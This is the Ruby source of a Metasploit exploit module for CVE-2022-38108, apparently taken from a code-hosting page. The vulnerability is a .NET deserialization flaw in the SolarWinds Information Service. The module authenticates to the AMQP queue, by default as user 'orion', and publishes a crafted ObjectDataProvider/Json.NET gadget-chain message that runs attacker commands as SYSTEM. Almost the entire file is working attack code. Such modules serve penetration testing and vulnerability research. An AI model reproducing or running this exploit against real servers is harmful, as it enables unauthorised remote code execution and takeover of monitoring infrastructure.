117 lines
3.6 KiB
Ruby
117 lines
3.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'rex/proto/amqp/version_0_9_1'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'SolarWinds Information Service (SWIS) .NET Deserialization From AMQP RCE',
|
|
'Description' => %q{
|
|
The SolarWinds Information Service (SWIS) is vulnerable to RCE by way of a crafted message received through the
|
|
AMQP message queue. A malicious user that can authenticate to the AMQP service can publish such a crafted
|
|
message whose body is a serialized .NET object which can lead to OS command execution as NT AUTHORITY\SYSTEM.
|
|
},
|
|
'Author' => [
|
|
'Justin Hong', # vulnerability research, Trend Micro
|
|
'Lucas Miller', # vulnerability research, Trend Micro
|
|
'Piotr Bazydło', # vulnerability discovery, reported to ZDI
|
|
'Spencer McIntyre' # metasploit module
|
|
],
|
|
'Arch' => ARCH_CMD,
|
|
'Platform' => 'win',
|
|
'References' => [
|
|
[ 'CVE', '2022-38108' ],
|
|
[ 'URL', 'https://www.zerodayinitiative.com/blog/2023/2/27/cve-2022-38108-rce-in-solarwinds-network-performance-monitor' ],
|
|
[ 'URL', 'https://www.solarwinds.com/trust-center/security-advisories/cve-2022-38108' ]
|
|
],
|
|
'DefaultOptions' => {
|
|
'WfsDelay' => 10
|
|
},
|
|
'Targets' => [
|
|
[ 'Automatic', {} ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2022-10-19',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS]
|
|
}
|
|
)
|
|
|
|
register_options([
|
|
Opt::RHOST,
|
|
Opt::RPORT(5671),
|
|
OptString.new('USERNAME', [true, 'The username to authenticate with', 'orion']),
|
|
OptString.new('PASSWORD', [true, 'The password to authenticate with', ''])
|
|
])
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true ]),
|
|
Opt::SSLVersion
|
|
]
|
|
)
|
|
end
|
|
|
|
def peer
|
|
rhost = datastore['RHOST']
|
|
rport = datastore['RPORT']
|
|
if Rex::Socket.is_ipv6?(rhost)
|
|
"[#{rhost}]:#{rport}"
|
|
else
|
|
"#{rhost}:#{rport}"
|
|
end
|
|
end
|
|
|
|
def print_status(msg)
|
|
msg = "#{peer} - #{msg}"
|
|
super
|
|
end
|
|
|
|
def exploit
|
|
amqp_client = Rex::Proto::Amqp::Version091::Client.new(
|
|
datastore['RHOST'],
|
|
port: datastore['RPORT'],
|
|
context: { 'Msf' => framework, 'MsfExploit' => self },
|
|
ssl: datastore['SSL'],
|
|
ssl_version: datastore['SSLVersion']
|
|
)
|
|
|
|
unless amqp_client.login(datastore['USERNAME'], datastore['PASSWORD'])
|
|
fail_with(Failure::NoAccess, "Authentication failed for user #{datastore['USERNAME']}.")
|
|
end
|
|
print_status('Successfully connected to the remote server.')
|
|
|
|
channel = amqp_client.channel_open
|
|
vprint_status('Successfully opened a new channel.')
|
|
channel.basic_publish(
|
|
routing_key: 'SwisPubSub',
|
|
message: ::Msf::Util::DotNetDeserialization.generate(
|
|
payload.encoded,
|
|
gadget_chain: :ObjectDataProvider,
|
|
formatter: :JsonNetFormatter
|
|
),
|
|
properties: {
|
|
message_type: 'System.Windows.Data.ObjectDataProvider'
|
|
}
|
|
)
|
|
print_status('Successfully published the message to the channel.')
|
|
|
|
channel.close
|
|
amqp_client.connection_close
|
|
rescue Rex::Proto::Amqp::Error::UnexpectedReplyError => e
|
|
fail_with(Failure::UnexpectedReply, e.message)
|
|
rescue Rex::Proto::Amqp::Error::AmqpError => e
|
|
fail_with(Failure::Unknown, e.message)
|
|
ensure
|
|
amqp_client.close
|
|
end
|
|
end
|